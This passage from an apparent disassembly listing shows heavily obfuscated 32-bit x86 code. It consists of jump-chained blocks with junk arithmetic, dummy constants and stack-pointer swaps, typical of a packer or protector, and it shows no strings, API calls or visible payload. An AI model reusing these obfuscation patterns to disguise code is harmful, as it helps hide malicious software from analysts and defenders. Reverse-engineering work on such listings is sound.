jmp loc_59A110 ; --------------------------------------------------------------------------- loc_59A6AC: ; CODE XREF: sub_581EE9+2332Aj pop esi xor ecx, 3DAB6EC0h add ecx, 45C03080h inc ecx dec ecx jmp loc_5A0CB9 ; --------------------------------------------------------------------------- loc_59A6C0: ; CODE XREF: sub_581EE9+1D6C7j mov ebp, 4 add edx, ebp pop ebp add edx, 4 xchg edx, [esp-6EB6h+arg_6EAC+2] mov esp, [esp-6EB6h+arg_6EAC+2] jmp loc_5A54C3 ; --------------------------------------------------------------------------- loc_59A6D6: ; CODE XREF: sub_581EE9+17462j pop ebx neg ebx or ebx, 55D3BBBh sub ebx, 76109AF5h mov esi, ebx pop ebx sub esi, 1 push edi mov edi, 758D35D9h sub esi, 1465BBAh sub esi, 424402BDh sub esi, edi add esi, 424402BDh add esi, 1465BBAh pop edi jmp loc_5A3AC7 ; --------------------------------------------------------------------------- loc_59A714: ; CODE XREF: sub_581EE9+168FFj mov esp, [esp-6E98h+arg_6E8E+2] push 7C90h mov [esp-6E94h+arg_6E8A+2], edi push 772C1164h pop edi push eax mov eax, 1870216Ah push eax not [esp-6E8Ch+arg_6E84] pop eax push ebx mov ebx, 1A787ABCh not ebx inc ebx sub ebx, 0DC381F6Ah sub esp, 4 jmp loc_597A89 ; --------------------------------------------------------------------------- loc_59A747: ; CODE XREF: sub_581EE9+19E39j sub ax, di pop edi sub esp, 2 mov word ptr [esp-6E88h+arg_6E80], ax jmp loc_5A6814 ; --------------------------------------------------------------------------- loc_59A757: ; CODE XREF: sub_581EE9+1A00Aj push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp-6E84h+arg_6E7C] jmp loc_5A60FC ; --------------------------------------------------------------------------- loc_59A767: ; CODE XREF: sub_581EE9+12AE3j mov dl, bh mov ah, dl pop edx not ah mov bh, ah mov eax, [esp-6E6Ch+arg_6E64] add esp, 4 push 74B3h mov [esp-6E6Ch+arg_6E64], eax mov al, 91h jmp loc_59352A ; --------------------------------------------------------------------------- loc_59A785: ; CODE XREF: sub_581EE9+1F55Cj mov ebx, [esp-6E6Ch+arg_6E64] add esp, 4 jmp loc_59FFA0 ; --------------------------------------------------------------------------- loc_59A790: ; CODE XREF: sub_581EE9+15890j xor edi, 16D5FF79h push 26B8h jmp loc_599602 ; --------------------------------------------------------------------------- loc_59A7A0: ; CODE XREF: sub_581EE9+22A60j pop eax jmp loc_59D753 ; --------------------------------------------------------------------------- loc_59A7A6: ; CODE XREF: sub_581EE9+1A3ADj dec esi not esi and esi, 54BB1A79h add esi, 10604AAEh mov eax, esi jmp loc_5A5606 ; --------------------------------------------------------------------------- loc_59A7BC: ; CODE XREF: sub_581EE9+228D7j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E88h+arg_6E80] pop esp jmp loc_593BB4 ; --------------------------------------------------------------------------- loc_59A7D4: ; CODE XREF: sub_581EE9+21904j shr dl, 2 shr dl, 5 push 68CFh mov [esp-6E88h+arg_6E80], ecx push edx mov dl, 0A4h push eax mov al, dl mov ch, al pop eax pop edx neg ch jmp loc_59894C ; --------------------------------------------------------------------------- loc_59A7F3: ; CODE XREF: sub_581EE9+19FE8j mov ebp, 92918196h add esi, ebp pop ebp add edx, 96F54C2h add edx, esi sub edx, 96F54C2h pop esi xchg edx, [esp+0] pop esp shl [esp-6E94h+arg_6E8A+2], cl pushf jmp loc_5A4A57 ; --------------------------------------------------------------------------- loc_59A817: ; CODE XREF: sub_581EE9+13189j pop [esp-6E96h+arg_6E8E] jmp loc_596A6E ; --------------------------------------------------------------------------- loc_59A81F: ; CODE XREF: sub_581EE9+21097j add edx, 4 jmp loc_5A02A0 ; --------------------------------------------------------------------------- loc_59A827: ; CODE XREF: sub_581EE9+124CDj neg eax xor eax, 0CB82AC3Ah mov ecx, eax jmp loc_59E028 ; --------------------------------------------------------------------------- loc_59A835: ; CODE XREF: sub_581EE9+198B8j shr ebp, 1 jmp loc_5A6FFF ; --------------------------------------------------------------------------- loc_59A83C: ; CODE XREF: sub_581EE9+13548j mov bh, 40h sub esp, 4 mov [esp-6E62h+arg_6E58+2], eax mov al, 0C9h jmp loc_596ABA ; --------------------------------------------------------------------------- loc_59A84B: ; CODE XREF: sub_581EE9+106B4j xor ecx, esi pop esi add edi, ecx mov ecx, [esp-6EB0h+arg_6EA8] add esp, 4 xor eax, edi pop edi push 0DFDh mov [esp-6EB4h+arg_6EAC], esi push 71B2h mov [esp-6EB0h+arg_6EA8], eax mov eax, 16D76482h sub esp, 4 mov [esp-6EACh+arg_6EA4], ebx jmp loc_5A430E ; --------------------------------------------------------------------------- loc_59A87C: ; CODE XREF: sub_581EE9+233A1j mov eax, 65CB3F6Ah mov edx, eax mov eax, [esp-6EACh+arg_6EA4] add esp, 4 jmp loc_5A0110 ; --------------------------------------------------------------------------- loc_59A88E: ; CODE XREF: sub_581EE9+182E5j xchg ecx, [esp-6E76h+arg_6E6E] mov esp, [esp-6E76h+arg_6E6E] jmp loc_59BDC0 ; --------------------------------------------------------------------------- loc_59A899: ; CODE XREF: sub_581EE9+16C65j push edx mov edx, 4 add ebp, edx pop edx push ebx mov ebx, 12A206F2h jmp loc_5A6CD2 ; --------------------------------------------------------------------------- loc_59A8AD: ; CODE XREF: sub_581EE9+241EEj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E72h+arg_6E68+2] pop esp mov [esp-6E76h+arg_6E6E], edx jmp loc_5927A9 ; --------------------------------------------------------------------------- loc_59A8C7: ; CODE XREF: sub_581EE9+1128Cj sub al, 0Dh sub al, 73h pop edx add al, bl sub esp, 4 mov [esp-6E52h+arg_6E48+2], edx mov dl, 64h shr dl, 2 xor dl, 1Ah neg dl jmp loc_599DAA ; --------------------------------------------------------------------------- loc_59A8E6: ; CODE XREF: sub_581EE9+1442Dj add esp, 4 add edi, 4 push edx mov edx, 4 sub edi, 25F10E71h sub edi, edx add edi, 25F10E71h mov edx, [esp-6EB2h+arg_6EA8+2] push edx mov edx, esp add edx, 4 jmp loc_5A6BB0 ; --------------------------------------------------------------------------- loc_59A914: ; CODE XREF: sub_581EE9+15136j mov ecx, edx mov edx, [esp-6E58h+arg_6E50] jmp loc_594EF2 ; --------------------------------------------------------------------------- loc_59A91E: ; CODE XREF: sub_581EE9+12812j pop esi xor ebp, 629D18DEh push ecx mov ecx, 2C825AF5h jmp loc_5994CF ; --------------------------------------------------------------------------- loc_59A930: ; CODE XREF: sub_581EE9+23499j sub ebx, 0C1B0870h jmp loc_59C77D ; --------------------------------------------------------------------------- loc_59A93B: ; CODE XREF: sub_581EE9+1C404j mov ebp, 1C8E12E3h jmp loc_5A107A ; --------------------------------------------------------------------------- loc_59A945: ; CODE XREF: sub_581EE9+2200Aj sub esp, 4 mov [esp-6E7Ch+arg_6E72+2], esp push edx jmp loc_5A41F6 ; --------------------------------------------------------------------------- loc_59A954: ; CODE XREF: sub_581EE9+1267Aj push [esp-6E8Ch+arg_6E84] mov edx, [esp-6E88h+arg_6E80] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6E88h+arg_6E80] pop esp push edi mov edi, 704C2E33h push eax mov eax, edi mov ebx, eax jmp loc_5A211C ; --------------------------------------------------------------------------- loc_59A97E: ; CODE XREF: sub_581EE9+19695j neg eax sub eax, 0A0F8EF9Ch add edx, eax pop eax sub edx, 4 xchg edx, [esp-6E88h+arg_6E80] pop esp jmp loc_596A10 ; --------------------------------------------------------------------------- loc_59A997: ; CODE XREF: sub_581EE9+1FBDBj pop eax push ecx jmp loc_59EADE ; --------------------------------------------------------------------------- loc_59A99E: ; CODE XREF: sub_581EE9+24AEDj mov edi, ebp pop ebp or ebp, edi pop edi sub ebp, 30F405C3h jmp loc_5A1298 ; --------------------------------------------------------------------------- loc_59A9AF: ; CODE XREF: sub_581EE9+1027Bj mov esp, [esp-6EA2h+arg_6E9A] or eax, eax jz loc_5990A4 push dword ptr [edi+1Ch] push eax mov eax, 25DA2B88h add [esp-6E9Ah+arg_6E96], eax mov eax, [esp-6E9Ah+arg_6E92] add esp, 4 push [esp-6E9Eh+arg_6E96] pop ecx add esp, 4 push 1225h mov [esp-6E9Eh+arg_6E96], eax push esi push 629127AEh pop esi shr esi, 1 xor esi, 49108F37h jmp loc_5A169D ; --------------------------------------------------------------------------- loc_59A9F3: ; CODE XREF: sub_581EE9+24E8Bj sub ecx, esi pop esi xchg ecx, [esp-6E9Eh+arg_6E96] pop esp mov [esp-6EA2h+arg_6E9A], ebx push ebp mov ebp, 0CD03EC1h neg ebp jmp loc_59DCD8 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp-6E9Ah+arg_6E92], ebx jmp loc_594917 ; --------------------------------------------------------------------------- loc_59AA15: ; CODE XREF: sub_581EE9+14114j mov [esp-6E5Ch+arg_6E54], esi mov esi, esp push eax push edx mov edx, 466F2837h add edx, 5D8106F9h neg edx or edx, 6DA55250h jmp loc_59D8B1 ; --------------------------------------------------------------------------- loc_59AA34: ; CODE XREF: sub_581EE9+1C468j sub esp, 4 mov [esp-6E50h+arg_6E48], edx push 430F36DEh jmp loc_599B96 ; --------------------------------------------------------------------------- loc_59AA44: ; CODE XREF: sub_581EE9+1E8DFj push ebx push [esp-6E48h+arg_6E3E+2] mov eax, [esp-6E44h+arg_6E3A+2] add esp, 4 sub esp, 4 mov [esp-6E44h+arg_6E3A+2], edx mov edx, esp push 74F6h mov [esp-6E40h+arg_6E36+2], ecx push edi mov edi, 298A7F8Ah jmp loc_594972 ; --------------------------------------------------------------------------- loc_59AA6C: ; CODE XREF: sub_581EE9+225FEj pop edi pop edx not ebx sub ebx, 0ED610DE2h add ebp, ebx pop ebx xor esi, ebp jmp loc_5962BD ; --------------------------------------------------------------------------- loc_59AA80: ; CODE XREF: sub_581EE9+2291Cj push [esp-6E48h+arg_6E3E+2] jmp loc_5A0EED ; --------------------------------------------------------------------------- loc_59AA88: ; CODE XREF: sub_581EE9+1EB36j and ecx, 4C4A0712h add ecx, 9A05AE3h or ecx, 7D473B4Fh sub ecx, 28F949C7h add edx, ecx mov ecx, [esp-6E44h+arg_6E3A+2] jmp loc_5A1AB9 ; --------------------------------------------------------------------------- loc_59AAAA: ; CODE XREF: sub_581EE9+1D68Fj xchg edx, [esp-6E44h+arg_6E3A+2] pop esp sub esi, 1DB00986h add esi, eax push 23BDh mov [esp-6E44h+arg_6E3A+2], edi mov edi, 1D505D51h add edi, offset byte_5FAC35 add esi, edi pop edi jmp loc_599EF8 ; --------------------------------------------------------------------------- loc_59AAD1: ; CODE XREF: sub_581EE9+199FFj mov [esp-6E48h+arg_6E3E+2], edx push 6A7B3ED5h pop edx dec edx push ebx jmp loc_5975A2 ; --------------------------------------------------------------------------- loc_59AAE1: ; CODE XREF: sub_581EE9+1E0E2j add ebp, ebx pop ebx add ebp, 4 push 7927h mov [esp-6E44h+arg_6E3A+2], ebp push [esp-6E44h+arg_6E3E+2] push [esp-6E40h+arg_6E36+2] mov ebp, [esp+0] add esp, 4 add esp, 4 pop [esp-6E44h+arg_6E3A+2] pop esp or edx, eax shl edx, 1 sub esp, 4 mov [esp-6E48h+arg_6E3E+2], ebx push ebx mov ebx, esp push ecx jmp loc_59D1E5 ; --------------------------------------------------------------------------- loc_59AB1F: ; CODE XREF: sub_581EE9+16174j pop esp mov [esp-6E72h+arg_6E68+2], edi push 4 push [esp-6E6Eh+arg_6E64+2] pop edi push eax jmp loc_59D738 ; --------------------------------------------------------------------------- loc_59AB32: ; CODE XREF: sub_581EE9+15C51j and ebp, 6B761102h add ebp, 3DFD1628h sub ebp, 1 shr ebp, 4 jmp loc_5A5FB0 ; --------------------------------------------------------------------------- loc_59AB4C: ; CODE XREF: sub_581EE9+1037Cj pop eax push ecx mov cl, 88h or cl, 0BFh jmp loc_593794 ; --------------------------------------------------------------------------- loc_59AB58: ; CODE XREF: sub_581EE9+24C1Fj sub di, 1 jmp loc_597C7C ; --------------------------------------------------------------------------- loc_59AB62: ; CODE XREF: sub_581EE9+1AA55j pop edi add ecx, eax push [esp-6EB4h+arg_6EAC] pop eax add esp, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 76562D8h inc edx jmp loc_5A1087 ; --------------------------------------------------------------------------- loc_59AB82: ; CODE XREF: sub_581EE9+22CB2j mov cl, 7 neg cl shr cl, 6 shr cl, 7 jmp loc_59A16E ; --------------------------------------------------------------------------- loc_59AB91: ; CODE XREF: sub_581EE9+104AFj mov [esp-6EACh+arg_6EA4], ebx push edx jmp loc_5920AE ; --------------------------------------------------------------------------- loc_59AB9A: ; CODE XREF: sub_581EE9+10387j add esi, eax pop eax jmp loc_5A3803 ; --------------------------------------------------------------------------- loc_59ABA2: ; CODE XREF: sub_581EE9+1D73Dj xor esi, eax mov eax, [esp-6EB4h+arg_6EAC] add esp, 4 shr esi, 8 jmp loc_5A3F17 ; --------------------------------------------------------------------------- loc_59ABB2: ; CODE XREF: sub_581EE9+2325Ej xchg ecx, [esp] mov esp, [esp] push edi push dword ptr [esp+4] mov edi, [esp-6EB0h+arg_6EA8] add esp, 4 jmp loc_59683B ; --------------------------------------------------------------------------- loc_59ABCB: ; CODE XREF: sub_581EE9+121CDj sub ecx, ebx pop ebx jmp loc_5952C0 ; --------------------------------------------------------------------------- loc_59ABD3: ; CODE XREF: sub_581EE9+1F677j mov edx, [esp-6E7Ah+arg_6E72] add esp, 4 add ebx, 43D1106Bh push ebp push 3A2144CFh pop ebp and ebp, 2E8C4446h jmp loc_597D86 ; --------------------------------------------------------------------------- loc_59ABF1: ; CODE XREF: sub_581EE9+12383j push 378h jmp loc_593DB8 ; --------------------------------------------------------------------------- loc_59ABFB: ; CODE XREF: sub_581EE9+13E50j add esp, 4 jmp loc_5960C6 ; --------------------------------------------------------------------------- loc_59AC06: ; CODE XREF: sub_581EE9+1D3C7j push [esp-6E84h+arg_6E7C] pop edx add esp, 4 and eax, ebp mov ebp, [esp-6E88h+arg_6E80] add esp, 4 or edx, eax jmp loc_59B8D6 ; --------------------------------------------------------------------------- loc_59AC1C: ; CODE XREF: sub_581EE9+1FF63j pop [esp-6E8Ch+arg_6E84] jmp loc_598179 ; --------------------------------------------------------------------------- loc_59AC24: ; CODE XREF: sub_581EE9+1B2A1j push ebp jmp loc_5A4200 ; --------------------------------------------------------------------------- loc_59AC2A: ; CODE XREF: sub_581EE9+1DA12j shr edx, 4 jmp loc_592BF4 ; --------------------------------------------------------------------------- loc_59AC32: ; CODE XREF: sub_581EE9+120E8j xchg ebx, [esp-6EB4h+arg_6EAC] pop esp xor eax, [esp+0] xor [esp+0], eax jmp loc_59251C ; --------------------------------------------------------------------------- loc_59AC41: ; CODE XREF: sub_581EE9+24741j push ebx push edi mov edi, 5E853DA5h push eax mov eax, 0E567D16h neg eax not eax or eax, 1893512Bh push ebx push 20581AA2h pop ebx jmp loc_5A3A5F ; --------------------------------------------------------------------------- loc_59AC63: ; CODE XREF: sub_581EE9+17125j push esi not [esp-6ECAh+arg_6EC2] pop esi push edx mov edx, 36E138A6h shl edx, 8 neg edx push eax mov eax, 2A831611h xor edx, eax jmp loc_5A235C ; --------------------------------------------------------------------------- loc_59AC80: ; CODE XREF: sub_581EE9+1AB2Cj add edx, 49650FB1h push ecx jmp loc_59BDD4 ; --------------------------------------------------------------------------- loc_59AC8C: ; CODE XREF: sub_581EE9+146D1j push ecx mov ch, 82h jmp loc_5A1877 ; --------------------------------------------------------------------------- loc_59AC94: ; CODE XREF: sub_581EE9+13C2Fj pop edx add eax, edx jmp loc_59F081 ; --------------------------------------------------------------------------- loc_59AC9C: ; CODE XREF: sub_581EE9+15A46j xor edi, 79601BD6h or ebp, edi mov edi, [esp-6E76h+arg_6E6E] jmp loc_596B68 ; --------------------------------------------------------------------------- loc_59ACAC: ; CODE XREF: sub_581EE9+16058j pop ebx or edx, 53E02871h jmp loc_59FF5B ; --------------------------------------------------------------------------- loc_59ACB8: ; CODE XREF: sub_581EE9+11D59j sub dh, 0B4h add al, dh jmp loc_593777 ; --------------------------------------------------------------------------- loc_59ACC2: ; CODE XREF: sub_581EE9+24806j mov edi, 7E0A2D0Eh jmp loc_592A6E ; --------------------------------------------------------------------------- loc_59ACCC: ; CODE XREF: sub_581EE9+13128j xor ecx, ebx jmp loc_593705 ; --------------------------------------------------------------------------- push [esp-6EA8h+arg_6E9E+2] push [esp-6EA4h+arg_6E9A+2] jmp loc_5A6793 ; --------------------------------------------------------------------------- loc_59ACDE: ; CODE XREF: sub_581EE9+14FEFj pop ebp jmp loc_59BDF9 ; --------------------------------------------------------------------------- loc_59ACE4: ; CODE XREF: sub_581EE9+1FA16j push ecx mov ecx, 2 add eax, 42465F59h add eax, ecx sub eax, 42465F59h pop ecx sub esp, 4 jmp loc_59B8B2 ; --------------------------------------------------------------------------- loc_59ACFF: ; CODE XREF: sub_581EE9+19D4Ej dec ebp shr ebp, 4 jmp loc_5998E6 ; --------------------------------------------------------------------------- loc_59AD08: ; CODE XREF: sub_581EE9+1E83Aj add edx, 4 jmp loc_59E5B7 ; --------------------------------------------------------------------------- loc_59AD13: ; CODE XREF: sub_581EE9+1B46Cj mov edx, [esp-6E5Ah+arg_6E50+2] add esp, 4 sub al, cl pop ecx add al, 7Eh add al, bl sub al, 7Eh push edx jmp loc_5A173F ; --------------------------------------------------------------------------- loc_59AD2B: ; CODE XREF: sub_581EE9+1E847j or dh, 84h push cx push eax mov al, 53h mov cl, al pop eax xor dh, cl pop cx sub cl, dh pop edx mov bl, cl mov ecx, [esp-6E62h+arg_6E58+2] add esp, 4 xor bl, ch push [esp-6E66h+arg_6E5C+2] pop ecx jmp loc_5A589F ; --------------------------------------------------------------------------- loc_59AD53: ; CODE XREF: sub_581EE9+1981Ej pop esp add esi, 2 xor esi, [esp-6E6Ah+arg_6E60+2] xor [esp-6E6Ah+arg_6E60+2], esi xor esi, [esp-6E6Ah+arg_6E60+2] jmp loc_5A28EE ; --------------------------------------------------------------------------- loc_59AD68: ; CODE XREF: sub_581EE9+1DECCj push eax mov eax, 768811B1h inc eax shr eax, 2 push ebp mov ebp, 423232Bh or eax, ebp jmp loc_5979D6 ; --------------------------------------------------------------------------- loc_59AD7F: ; CODE XREF: sub_581EE9+17748j xor edx, 4F8049E7h sub edx, 9A5C6FFh sub edi, edx pop edx sub edx, edi pop edi sub edx, 0BED2CA1h xchg ebp, edx inc ebp xchg ebp, edx jmp loc_5944D6 ; --------------------------------------------------------------------------- loc_59ADA1: ; CODE XREF: sub_581EE9+1801Bj push ebp mov ebp, 37E54250h push ecx jmp loc_596EED ; --------------------------------------------------------------------------- loc_59ADAD: ; CODE XREF: sub_581EE9+16B47j push edx jmp loc_59F41C ; --------------------------------------------------------------------------- loc_59ADB3: ; CODE XREF: sub_581EE9+19D90j shr ecx, 3 neg ecx xor ecx, 0C37565Eh jmp loc_594E21 ; --------------------------------------------------------------------------- loc_59ADC3: ; CODE XREF: sub_581EE9+147A5j pop ebp push ecx mov ecx, 4EE931F6h not ecx or ecx, 2B244E74h jmp loc_59EB3C ; --------------------------------------------------------------------------- loc_59ADD7: ; CODE XREF: sub_581EE9+1BBADj not ebp add ebp, 3BC82205h sub ebp, 3ED211B8h sub esp, 4 mov [esp-6E9Eh+arg_6E96], edx mov edx, 597B61ECh add ebp, edx pop edx add esi, ebp pop ebp sub esi, 3EA4311Eh sub esi, 0C3FFE66Bh add ebx, esi jmp loc_59D95F ; --------------------------------------------------------------------------- loc_59AE0C: ; CODE XREF: sub_581EE9+22D7Ej or esi, 66ED7EDCh xor esi, 9F778E37h jmp loc_5A35D3 ; --------------------------------------------------------------------------- loc_59AE1D: ; CODE XREF: sub_581EE9+1088Dj add esp, 4 add edx, 4 push 6B69h mov [esp-6EC0h+arg_6EB6+2], ebx push edi mov edi, 49D42674h dec edi sub esp, 4 mov [esp+0], edx push ebp mov ebp, 4FC4858h jmp loc_5A3ABC ; --------------------------------------------------------------------------- loc_59AE49: ; CODE XREF: sub_581EE9+17D76j not ebp inc ebp inc ebp dec ebp xchg eax, ebp jmp loc_5A2E2B ; --------------------------------------------------------------------------- loc_59AE54: ; CODE XREF: sub_581EE9+1A513j mov eax, esp add eax, 4 add eax, 4 xchg eax, dword ptr [esp-6E82h+arg_6E7A] jmp loc_5A68F7 ; --------------------------------------------------------------------------- loc_59AE66: ; CODE XREF: sub_581EE9+17673j sub edx, 4 xchg edx, [esp-6E8Ah+arg_6E80+2] pop esp mov [esp-6E8Eh+arg_6E84+2], ecx sub esp, 4 mov [esp-6E8Ah+arg_6E80+2], esp add [esp-6E8Ah+arg_6E80+2], 4 pop ecx push esi mov esi, 4 jmp loc_597390 ; --------------------------------------------------------------------------- loc_59AE8C: ; CODE XREF: sub_581EE9+1D487j mov [esp-6E8Ah+arg_6E80+2], edx jmp loc_59864C ; --------------------------------------------------------------------------- loc_59AE94: ; CODE XREF: sub_581EE9+1DAD9j add edi, 4 push edx mov edx, 4 add edi, edx pop edx jmp loc_59A388 ; --------------------------------------------------------------------------- loc_59AEA8: ; CODE XREF: sub_581EE9+20E6Fj add ebx, 34B72714h add ebx, 5C3D2740h sub ebx, 5FD43B84h push [esp-6E8Ah+arg_6E80+2] pop ecx add esp, 4 push ecx jmp loc_5A1565 ; --------------------------------------------------------------------------- loc_59AEC7: ; CODE XREF: sub_581EE9+1A7DEj pop esp mov [esp-6E8Eh+arg_6E84+2], esp add [esp-6E8Eh+arg_6E84+2], 4 pop ecx add ecx, 4 sub ecx, 2 xchg ecx, [esp-6E92h+arg_6E8A] pop esp mov word ptr [esp-6E96h+arg_6E8E], bx jmp loc_5960AE ; --------------------------------------------------------------------------- loc_59AEE9: ; CODE XREF: sub_581EE9+22D04j pop esp add eax, 4 add eax, 4 jmp loc_5955BB ; --------------------------------------------------------------------------- loc_59AEF7: ; CODE XREF: sub_581EE9+215FBj mov [esp-6E9Ah+arg_6E92], edi jmp loc_594DF1 ; --------------------------------------------------------------------------- loc_59AEFF: ; CODE XREF: sub_581EE9+21FA6j pop edx sub ax, bx push cx jmp loc_592AF9 ; --------------------------------------------------------------------------- loc_59AF0A: ; CODE XREF: sub_581EE9+200EDj xor edx, eax mov eax, [esp-6E9Ch+arg_6E92+2] push ebx push esp jmp loc_5A43A5 ; --------------------------------------------------------------------------- loc_59AF16: ; CODE XREF: sub_581EE9+1AA20j inc esi jmp loc_5A3D04 ; --------------------------------------------------------------------------- loc_59AF1C: ; CODE XREF: sub_581EE9+1B969j add esp, 4 push [esp-6E98h+arg_6E8E+2] push [esp-6E94h+arg_6E8A+2] pop eax jmp loc_59B6D3 ; --------------------------------------------------------------------------- loc_59AF2E: ; CODE XREF: sub_581EE9+11830j pop eax dec ch push 3C02h mov [esp-6E86h+arg_6E7C+2], ebx jmp loc_5984B6 ; --------------------------------------------------------------------------- loc_59AF3E: ; CODE XREF: sub_581EE9+165B9j add esi, 4 sub esi, 4 jmp loc_59365E ; --------------------------------------------------------------------------- loc_59AF4F: ; CODE XREF: sub_581EE9+19E8Bj xchg ebp, edi xchg ebx, ebp jmp loc_5990D5 ; --------------------------------------------------------------------------- loc_59AF58: ; CODE XREF: sub_581EE9+155C9j sub eax, esi add eax, 70914F6Ah mov esi, [esp+0] push esi mov esi, esp jmp loc_59679A ; --------------------------------------------------------------------------- loc_59AF6A: ; CODE XREF: sub_581EE9+16C8Cj mov [esp-6E7Eh+arg_6E76], ebx push 623Fh mov [esp-6E7Ah+arg_6E72], esp add [esp-6E7Ah+arg_6E72], 4 push [esp-6E7Ah+arg_6E72] jmp loc_59F97F ; --------------------------------------------------------------------------- loc_59AF84: ; CODE XREF: sub_581EE9+1E7FFj add esp, 4 add ebx, 4 push edx jmp loc_59F67B ; --------------------------------------------------------------------------- loc_59AF96: ; CODE XREF: sub_581EE9+12B45j mov [esp-6E60h+arg_6E58], edx jmp loc_5984AF ; --------------------------------------------------------------------------- loc_59AF9E: ; CODE XREF: sub_581EE9+13D0Cj xor eax, 0C54CAB11h add edi, eax pop eax jmp loc_597844 ; --------------------------------------------------------------------------- loc_59AFAB: ; CODE XREF: sub_581EE9+1E8B3j push edi push ebp push 363D0F6Fh pop ebp push ebp neg [esp-6E62h+arg_6E58+2] pop ebp add ebp, 363D0F73h push ecx mov ecx, ebp mov edi, ecx mov ecx, [esp-6E62h+arg_6E58+2] add esp, 4 jmp loc_597AEF ; --------------------------------------------------------------------------- loc_59AFD1: ; CODE XREF: sub_581EE9+16D5Aj add ebp, 4 jmp loc_59B557 ; --------------------------------------------------------------------------- loc_59AFDC: ; CODE XREF: sub_581EE9+1A235j sub esi, 67994A46h mov ecx, [esp-6E9Ah+arg_6E92] push 1A86h mov [esp-6E96h+arg_6E8E], edx jmp loc_5924E0 ; --------------------------------------------------------------------------- loc_59AFF2: ; CODE XREF: sub_581EE9+19C35j xor esi, 37C97BBDh add esi, 0FFFFFFFFh sub esp, 4 jmp loc_59BECE ; --------------------------------------------------------------------------- loc_59B006: ; CODE XREF: sub_581EE9+1309Dj sub esi, 46A571D0h jmp loc_5A214C ; --------------------------------------------------------------------------- loc_59B011: ; CODE XREF: sub_581EE9+22FBCj pop ecx add ecx, ebp mov ebp, [esp+0] add esp, 4 jmp loc_5984C5 ; --------------------------------------------------------------------------- loc_59B01F: ; CODE XREF: sub_581EE9+24A19j push esi mov esi, esp push edi push ebx mov ebx, 4FCC4F20h jmp loc_5A3933 ; --------------------------------------------------------------------------- loc_59B02E: ; CODE XREF: sub_581EE9+101DBj mov ebx, [esp-6EA6h+arg_6E9E] jmp loc_59A11A ; --------------------------------------------------------------------------- loc_59B036: ; CODE XREF: sub_581EE9+1E4D8j sub ecx, edi pop edi sub ecx, 28D4A39h pop edi jmp loc_59D51E ; --------------------------------------------------------------------------- loc_59B045: ; CODE XREF: sub_581EE9+19861j sub eax, edi pop edi push 3E2Ah mov [esp-6EAEh+arg_6EA4+2], esi push 24A2h mov dword ptr [esp-6EAAh+arg_6EA2], ebx mov ebx, 0C7F0F84h mov esi, 18DD5357h jmp loc_59CB5A ; --------------------------------------------------------------------------- loc_59B067: ; CODE XREF: sub_581EE9+1DF14j mov edi, 733908AFh jmp loc_5A16E3 ; --------------------------------------------------------------------------- loc_59B071: ; CODE XREF: sub_581EE9+1A571j mov bp, 694Ah sub bp, 76C8h and bp, 721Eh jmp loc_5A2846 ; --------------------------------------------------------------------------- loc_59B084: ; CODE XREF: sub_581EE9+1C689j pop ebx jmp loc_5A4A5C ; --------------------------------------------------------------------------- loc_59B08A: ; CODE XREF: sub_581EE9+2405Dj add edx, 10266F45h mov ebx, [esp-6EAEh+arg_6EA4+2] add esp, 4 jmp loc_5A28BD ; --------------------------------------------------------------------------- loc_59B09B: ; CODE XREF: sub_581EE9+175C6j sub ecx, 76E50E63h pop ebp jmp loc_5995F2 ; --------------------------------------------------------------------------- loc_59B0A7: ; CODE XREF: sub_581EE9+1FFF0j add ecx, eax jmp loc_5A6F1E ; --------------------------------------------------------------------------- loc_59B0AE: ; CODE XREF: sub_581EE9+1D481j pop esi xchg ebx, [esp-6E7Ch+arg_6E72+2] pop esp jmp loc_5A1E87 ; --------------------------------------------------------------------------- loc_59B0B8: ; CODE XREF: sub_581EE9+23683j push [esp-6E80h+arg_6E7C] pop ebp jmp loc_5943CC ; --------------------------------------------------------------------------- loc_59B0C2: ; CODE XREF: sub_581EE9+14F1Aj shr ebp, 6 sub ebp, 0C226D1A7h or ecx, ebp mov ebp, [esp-6E62h+arg_6E58+2] add esp, 4 jmp loc_59C8B2 ; --------------------------------------------------------------------------- loc_59B0DB: ; CODE XREF: sub_581EE9+14A77j push edx mov edx, 5EE53AC2h add [esp+8], edx mov edx, [esp-6E42h+arg_6E3A] jmp loc_59BD27 ; --------------------------------------------------------------------------- loc_59B0ED: ; CODE XREF: sub_581EE9+1C054j add edx, 4 jmp loc_593D9D ; --------------------------------------------------------------------------- loc_59B0F8: ; CODE XREF: sub_581EE9+1C2CFj shl edi, 3 jmp loc_593885 ; --------------------------------------------------------------------------- loc_59B100: ; CODE XREF: sub_581EE9+14EADj add esi, edx pop edx push edx mov edx, esi mov edi, edx pop edx pop esi add [esp-6E9Eh+arg_6E9A], edi pop edi mov eax, [esp-6EA2h+arg_6E9A] push 45D6h mov [esp-6E9Eh+arg_6E96], esi mov esi, esp push edi mov edi, 4 add esi, 348D4DEEh add esi, edi sub esi, 348D4DEEh pop edi push ebp jmp loc_592794 ; --------------------------------------------------------------------------- loc_59B137: ; CODE XREF: sub_581EE9+1200Bj xor edi, eax pop eax mov eax, edi mov edi, [esp-6EACh+arg_6EA4] add esp, 4 push ecx mov ecx, 4C74581Fh sub eax, ecx jmp loc_59E5BD ; --------------------------------------------------------------------------- loc_59B152: ; CODE XREF: sub_581EE9+1BC32j mov edx, 998DBC98h xor ebx, edx pop edx sub eax, ebx pop ebx push 49C6h mov [esp-6EB0h+arg_6EA8], edi mov edi, 62D76CDEh push edi not [esp-6EACh+arg_6EA4] pop edi inc edi jmp loc_5950BE ; --------------------------------------------------------------------------- loc_59B175: ; CODE XREF: sub_581EE9+1377Aj xor edx, 13A44415h xor ebp, edx jmp loc_5950D3 ; --------------------------------------------------------------------------- loc_59B182: ; CODE XREF: sub_581EE9+24BFEj mov ebp, [esp-6E6Ah+arg_6E60+2] add esp, 4 push edi push ebx mov ebx, 2DA30550h jmp loc_596CBE ; --------------------------------------------------------------------------- loc_59B197: ; CODE XREF: sub_581EE9+1CD71j sub [esp-6E66h+arg_6E64+2], 78B13F6Ch jmp loc_5A1758 ; --------------------------------------------------------------------------- loc_59B1A4: ; CODE XREF: sub_581EE9+22511j mov ecx, 41717F1Dh shr ecx, 1 or ecx, 61F374E4h add ecx, 631C46F1h jmp loc_59412C ; --------------------------------------------------------------------------- 